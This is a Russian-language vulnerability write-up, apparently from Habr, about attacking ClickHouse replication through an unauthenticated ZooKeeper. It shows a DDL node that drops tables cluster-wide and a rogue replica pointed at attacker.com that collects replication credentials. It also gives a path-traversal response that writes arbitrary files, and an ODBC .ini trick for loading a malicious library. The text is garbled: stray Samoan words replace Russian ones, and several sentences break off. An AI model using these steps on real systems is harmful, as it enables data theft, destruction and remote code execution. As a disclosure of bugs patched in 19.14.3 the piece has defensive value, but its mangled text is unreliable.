В этой статье будет история об одной весьма характерной уязвимости в протоколе репликации в ClickHouse, а также будет показано, как можно расширить плоскость атаки.
ClickHouse — это база данных для хранения больших объемов данных, чаще всего используется больше одной реплики. Кластеризация и репликация в ClickHouse строятся поверх
Установка ZK по умолчанию не требует аутентификации, так что тысячи ZK серверов, используемых для конфигурации Kafka, Hadoop, ClickHouse доступны публично.
Для сокращения плоскости атаки вы всегда должны настраивать аутентификацию и авторизацию при установке ZooKeeper
Есть конечно несколько 0day на основе Java десериализации, но представьте себе, что злоумышленник может читать и писать в ZooKeeper, используемый для репликации ClickHouse.
При настройке в кластерном режиме ClickHouse поддерживает распределенные запросы /clickhouse/task_queue/ddl
.
Например вы создаете узел /clickhouse/task_queue/ddl/query-0001
с содержимым:
version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']
а после этого на серверах кластера host1 и host2 таблица test будет удалена. DDL также поддерживает запуск запросов CREATE/ALTER/DROP.
Звучит страшно? Но где же атакующий сможет получить адреса серверов?
CREATE TABLE foobar
(
`action_id` UInt32 DEFAULT toUInt32(0),
`status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;
будут созданы узлы koluma и metadata.
Anotusi /clickhouse/tables/01/foobar/replicas/chXX/hosts:
host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http
Можно ли слить данные из этого кластера? Да, если порт репликации (TCP/9009
) на сервере chXX-address
не будет закрыт firewall и не будет настроена аутентификация для репликации. Как обойти аутентификацию?
Атакующий может создать новую реплику в ZK, просто копируя содержимое с /clickhouse/tables/01-01/foobar/replicas/chXX
и меняя значение host
.
Anotusi /clickhouse/tables/01–01/foobar/replicas/attacker/host:
host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http
Затем надо сказать остальным репликам, что на сервере атакующего есть новый блок данных, который им надо забрать — создается узел в ZK /clickhouse/tables/01-01/foobar/log/log-00000000XX
(XX монотонно растущий счетчик, который должен быть больше, чем последний в журнале событий):
format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2
le mea source_replica — имя реплики атакующего, созданной на предыдущем шаге, block_id — идентификатор блока данных, aumai — команда "get block" (а
Далее каждая реплика читает новое событие в журнале и идет на сервер, подконтрольный злоумышленнику, для получения блока данных (протокол репликации двоичный, работает поверх HTTP). Сервер attacker.com
будет получать запросы:
POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX
где XXX — и есть данные аутентификации для репликации. В некоторых случаях это может быть учетная запись с доступом к базе данных по основному протоколу ClickHouse и протоколу HTTP. Как вы видели, плоскость атаки становится критически большой, потому что ZooKeeper, используемый для репликации, остался без настроенной аутентификации.
Давайте посмотрим на функцию получения блока данных из реплики, она написана с полной уверенностью, что все реплики под правильным контролем и между ними есть доверие.
код обработки репликации
Функция читает список файлов, затем их имена, размеры, содержимое, после чего пишет их в файловой системе. Стоит отдельно описать, как хранятся данные в файловой системе.
Есть несколько подкаталогов в /var/lib/clickhouse
(каталог хранения по-умолчанию из конфигурационного файла):
fuʻa — каталог для записи
tmp — каталог хранения временных файлов;
user_files — операции с файлами в запросах ограничены этим каталогом (INTO OUTFILE и другие);
metadata — файлы sql с описаниями таблиц;
preprocessed_configs — обработанные производные конфигурационные файлы из /etc/clickhouse-server
;
faʻamatalaga — собственно каталог с самими данными, в этм случае для каждой базы просто создается отдельный подкаталог здесь (например /var/lib/clickhouse/data/default
).
Для каждой таблицы создается подкаталог в каталоге с базой данных. Каждый столбец — отдельный файл в зависимости от
action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2
Реплика ожидает получения файлов с такими же именами при обработке блока данных и не проверяет их каким-либо способом.
Внимательный читатель вероятно уже слышал про небезопасную конкатенацию file_name в функции WriteBufferFromFile
. Да, это позволяет атакующему записать произвольный контент в любой файл на ФС с правами пользователя clickhouse
. Для этого реплика, подконтрольная атакующему, должна вернуть следующий ответ на запрос (для простоты понимания добавлены переносы строк):
x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper
а после конкатенации ../../../../../../../../../tmp/pwned
будет записан файл /tmp/pwned ma le anotusi hellofromzookeeper.
Есть несколько вариантов превращения возможности записи файлов в удаленный запуск кода (RCE).
Внешние словари в RCE
В старых версиях каталог с настройками ClickHouse хранился с правами пользователя fale kiliki по-умолчанию. Файлы настроек представляют собой файлы XML, которые сервис читает при запуске, а затем кэширует в /var/lib/clickhouse/preprocessed_configs
. При изменениях они перечитываются. При наличии доступа к /etc/clickhouse-server
атакующий может создать собственный root
.
ODBC в RCE
При установке пакета создается пользователь clickhouse
, при этом не создается его домашний каталог /nonexistent
. Однако при использовании внешних словарей, либо по другим причинам, администраторы создают каталог /nonexistent
и дают пользователю clickhouse
доступ на запись в него (ССЗБ! tusa. faaliliu).
ClickHouse поддерживает odbc-bridge
, так что теперь невозможно указать путь к драйверу из запроса. Но атакующий может писать в домашний каталог, используя уязвимость, описанную выше?
Давайте создадим файл ~/.odbc.ini
ma mea e pei o lenei:
[lalala]
Driver=/var/lib/clickhouse/user_files/test.so
затем при запуске SELECT * FROM odbc('DSN=lalala', 'test', 'test');
будет подгружена библиотека test.so
и получено RCE (спасибо
Эти и другие уязвимости были исправлены в версии ClickHouse 19.14.3. Берегите свои ClickHouse и ZooKeepers!
puna: www.habr.com